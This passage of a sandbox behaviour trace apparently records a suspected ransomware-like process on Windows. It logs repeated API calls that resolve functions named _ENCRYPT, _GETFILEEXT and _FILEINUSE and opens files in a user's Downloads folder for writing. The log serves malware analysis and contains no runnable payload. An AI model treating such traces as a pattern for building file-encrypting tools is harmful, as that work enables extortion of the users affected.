hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.560] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.561] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.561] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.562] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.563] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.564] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0026.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\desktop.ini", cchWideChar=43, lpMultiByteStr=0xe8f404c410, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0026.564] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Downloads\\desktop.ini" (normalized: "c:\\users\\5jghkoaofdp\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=43, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0026.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=43, lpWideCharStr=0xe8f4069dd0, cchWideChar=43 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\desktop.ini") returned 43 [0026.564] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.565] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.565] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.565] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.565] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.566] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.566] CloseHandle (hObject=0x1fc) returned 1 [0026.566] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.566] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.566] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.566] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.566] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.567] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.567] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.567] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.567] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.567] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.567] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.567] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.571] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.571] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.571] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.571] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.572] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.572] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.572] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.572] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.572] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.572] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.575] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.575] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.575] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.575] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.575] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.575] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.575] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.575] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.575] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.576] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.576] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.576] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.576] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.576] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.576] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.577] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.577] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.577] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.577] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.577] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.577] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.583] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.583] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.583] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.583] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.583] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.584] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.584] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.584] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.584] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.584] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, 